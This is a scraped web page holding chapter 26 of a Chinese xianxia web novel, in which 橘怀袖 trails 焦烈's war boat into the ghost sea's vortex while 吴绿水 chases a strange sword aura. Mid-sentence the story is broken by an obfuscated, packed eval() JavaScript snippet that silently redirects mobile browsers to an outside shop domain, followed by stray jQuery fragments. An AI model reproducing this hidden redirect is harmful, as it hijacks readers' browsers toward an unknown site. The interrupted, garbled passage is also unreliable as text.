文趣网 > 其他小说 > 杀了冤种道侣后他病娇了 > 26.铸剑(13)
    邻月台上空的飞舆内,橘怀袖打了个长长的哈欠,眼角沁出一点湿意。

    下方阵法里,那闪亮夺目的金色幻影也跟着打了个哈欠。所幸留下的修士们正面红耳赤地争论着该不该走,没人发现焚天谷高徒竟在百无聊赖地犯困。

    橘怀袖揉了揉发僵的后颈,面前矮几上,几个巴掌大的小纸人正忙活得团团转。左边,一个拿着纸质小枪的小纸人正抱着胳膊,另一个纸人跪在它面前,抱拳脆声道:“焦帮主!西侧阵坛已全部拔除,孟会长怎么没来?”

    扮演焦烈的纸人粗声粗气:“耽搁了。别啰嗦,走!” 俩纸人随即一起向前一扑,“啪叽”一声趴在桌面上,手脚并用地原地游泳。

    橘怀袖嗤了一声:“闹了半天都是演戏。”

    右边的小纸人白衣飘飘,不紧不慢地摇着一把纸质迷你小扇子,细声细气念叨:“诸位道友,稍安勿躁,机缘各有分定……”

    橘怀袖白了右边的小纸人一眼,指尖一弹,几个小纸人轻飘飘地飞起,收进他的乾坤袋中。

    他一直身居高处,看得分明。早在法会开始时,吴绿水就已经带好法器从南岸入海。给她的护身符没有动静,应当一切顺利。谢婴麟先是想搅浑水,又炸了法阵,把人引去东岸,想必后手是在西侧。偏巧孟海潮和焦烈也选了西岸断龙崖,不知是要搞什么鬼祟。

    看够了无聊的戏码,橘怀袖决定去看点有趣的。他随手一挥袖,被他不问自取的香炉,矮几,坐垫……零零碎碎的杂物齐齐归位,飞舆门口瞬间空荡整洁。

    然后他起身,背对着下方翻墨般的鬼海,猛地向外一倒。

    金色身影急坠,又在半空中如鹞子般轻巧翻腾,宽大的衣袂在昏沉天幕下展开,好似一只静默的巨枭,掠过低空,向着西岸断龙崖的方向,疾射而去。

    鬼海之中。

    焦烈召唤出一艘战舟,众人乘坐其中,战舟像一支箭矢射出,钻入近乎凝固的鬼海。

    焦烈站在船头,周身血色真气蒸腾,与战舟护罩融为一体,将不断扑咬上来的惨白幽影灼烧出“滋滋”声响。海水不再是水,更像是某种活的胶质,疯狂侵蚀着血光。每一次撞击都让战舟剧烈震颤,船体发出不堪重负的呻吟。

    支撑战舟护盾的十余名海渊会精锐面如金纸,显然已到极限。

    “挺住!”焦烈大喝,目光死死钉在前方,手中握着一个罗盘法器,神色凝重。

    众人在黑暗中一路向前,过了不知道多久,或许是一瞬间,或许是许多年。突然,血玉战舟猛地一颤,仿佛撞碎了某种无形屏障。刹那间,黑暗,鬼哭,撞击……所有的一切都骤然消失,浪潮迭起的鬼海被隔绝在外,如同已经进入了另一个世界,没有声音,没有流动。

    取而代之的,是一片死寂的湛蓝。

    小小的战舟前方,一轮庞大到令人心神俱颤的黑色漩涡正在缓缓旋转,吞噬着靠近它的一切有形或无形的东西。在它的周围,静静燃烧着无边无际的湛蓝色光芒。那光是如此纯粹,如此热烈,将战舟映照得如同凝固在蓝水晶中的琥珀。

    焦烈猛地停下,周身环绕的血煞真气在这片静谧的蓝光中,显得如此微弱。她死死盯着那黑暗与湛蓝交织的漩涡,颤颤道:

    “……找到了,海眼。”

    橘怀袖像一道幽暗的影子,缀在战舟后方不远。

    他只凭几道紧贴周身的隐光符箓硬扛,周遭粘稠的黑潮与怨念不断消磨着护体灵光,发出令人牙酸的“滋滋”声,仿佛下一刻就会彻底破碎。

    越深入,橘怀袖识海中警觉的本能就越发激烈,脑子里有个声音在疯狂叫嚣:回头!回头!

    但焦烈那艘战舟还在往下扎,义无反顾。

    橘怀袖舌尖抵着上颚,尝到一点铁锈味。他盯着那点倔强的血光,一咬牙,又飞出两张珍藏的护体符箓,加固周身摇摇欲坠的护罩,速度不减反增。

    焦烈如此疯狂地深入鬼海,必有一个不可为外人道的理由。

    而他必须知道。

    这个念头压过了所有警铃。

    突然,前方战舟的轮廓猛地模糊了一瞬,仿佛穿过了一层看不见的膜。

    紧接着,橘怀袖周身的粘稠感骤然消失,眼前蓝光大炙!

    无边无际的湛蓝充斥了整个视野,将鬼海的污浊与黑暗彻底隔绝在外。

    前方,那庞大到令人无法思考的黑色漩涡,正被冰凉的蓝色光芒静静包裹,在绝对的死寂中缓缓旋转。

    与此同时,一股尖锐到极致的耳鸣猛地贯穿双耳,仿佛有无数根针扎进颅骨!

    一瞬间,眩晕感狠狠攫住了橘怀袖,身体传来被撕扯的痛苦,意识开始错位……他咬住牙,竭尽全力抵抗着,不让自己陷入沉沦。

    识海中,无数记忆在翻滚涌动——

    “我想让你以后不用再顾忌门楣高低,顾忌弟子安危,顾忌形势强弱。我该怎么做?”

    “馨香怀袖,内蕴明玑......”

    “怀袖,此去学宫……”

    “混元胎结,炁化灵墟;天门自辟……”

    混乱中,橘怀袖抓住了一朵摇曳的花——

    幻世幽兰!

    橘怀袖猛地睁大眼,眸中金光大盛。

    这片漩涡带给他的冲击,和当初沉龙地窟中幻世幽兰带来的感觉,竟是如出一辙!

    橘怀袖立刻掐出清心诀,一股清正坚定的意念自识海升起,强行镇压那记忆被调动带来的眩晕。他目光锐利,盯住远处那艘悬浮的血色战舟,以及船首那道煞气腾腾的身影。

    孟海潮赔上海渊会的声望演苦肉计,焦烈无视沿途所有诱惑直扑海眼。这绝不是寻常寻宝。

    和幻世幽兰惊人相似的空间术法,被唤醒的异世界记忆……

    橘怀袖的目光一点点沉下去。

    他们……是否眸中也烙印着金纹小字?是否也身负那个不容置喙的命令?

    思绪纷转间,橘怀袖悄然向前飘移了一段距离,蛰伏下来。

    前方,焦烈已指挥手下在漩涡外围的水域中布下一个阵法。阵旗按北斗方位插入虚空,七名手下各自镇守一旗,焦烈本人立于阵心,脚下展开一圈血色纹路。

    “启阵!”焦烈低喝。

    七人同时催动真气,暗红旗帜微微震颤,纹路流转。渐渐地,一丝极为微弱的赤红火线自阵图中升起,环绕在众人面前,随着黑色漩涡

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17647258|205651||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    旋转的节奏,逐渐调整自身流动的轨迹。

    远处的橘怀袖看到这一幕,顿时明白过来:焦烈不是要对抗漩涡,而是在试图同步它?

    一个念头如电光划过脑海:

    焦烈行事如此熟练,说明她们对海眼的了解远超外界记载。二十年前那次鬼海现世,多半已被她们暗中探索过,只是未敢或未能进行到这一步。如今卷土重来,图谋必然更大。

    上一次她们悄无声息,未引发什么被记录下的异变。但这一次的行动究竟会造成怎样的后果,恐怕连孟海潮和焦烈自己,都未必有十足把握。

    因此,孟海潮接受三个时辰禁令,既是为了避免多余真气对此刻同步漩涡轨迹的干扰,也是想要保全南海修士,让他们不被可能引发的异动波及。

    可现在有多少人已经入海?吴绿水,谢婴麟的后手,某些各显神通的修士……

    橘怀袖取出一枚巴掌大的圆盘,上面是南海海图。海图西南方位的一点金光代表他自己,在鬼海偏中心的位置,一点稳定的绿光静静闪烁。这是吴绿水的印记。到目前为止,护身符始终没有异常波动,她那边应当顺利。

    盘面东侧,另有一点银光正破开海浪,以惊人的速度笔向此地疾驰而来,是谢婴麟,这混蛋果然在给焦烈的挪移符上留了后手,他看穿孟海潮与焦烈联手唱戏的阴谋,又岂会甘心在台下干看戏?

    思绪电转,不过一息。

    橘怀袖指尖一捻,一张符箓凭空出现,他将真气注入其中,警示吴绿水赶紧撤退。片刻后,盘面上的绿光果然行动起来,向着撤离点开始移动。

    随即橘怀袖又飞出一个小纸人,小纸人遇水即化,变成一缕透明的影子,扑腾着地向着焦烈等人游去。

    布置完毕,橘怀袖身形一沉,如一尾游鱼,向着谢婴麟的方向逆浪而行。

    他得去沿途布置点小惊喜,把这唯恐天下不乱的家伙拦在半路。

    鬼海中心,吴绿水正朝着橘怀袖标记的撤离点疾游。

    斜刺里,一道剑气毫无征兆地切开浓稠的黑暗,几乎是擦着她的身体掠过!

    吴绿水身形急转,护体宝光剧烈荡漾,险险避开剑气。她的心头刚升起警惕,却猛地一怔。

    这剑气!

    她的目光追向那道破开深海的剑气。

    这道剑气并不凌厉,反而带着一种独特的圆融之感,即便在这污浊混乱的鬼海中划过,也未曾激起狂暴的乱流,只是静默地切开一条轨迹,如深水归流。

    吴绿水的心跳大声鼓动起来,几乎盖过耳畔的鬼啸。

    这感觉……竟与她那柄尚未成形的剑,惊人地契合!

    吴绿水扭头看向身后已经不远的撤离点。只要再往前几十丈,她就能脱离这片险地,带着鬼海钢回到驻地,继续铸剑。

    但……

    她无法不去想:这样一道剑气,出现在鬼海深处,它的源头是什么?是某个尚未有人发现的天材地宝?还是……某位入海的剑修?

    若是后者,那此人几乎就是为这把剑而生的!

    吴绿水不再犹豫,身形在水中划出一道急转的弧线,毫不犹豫地朝着那道剑气袭来的方向猛追而去!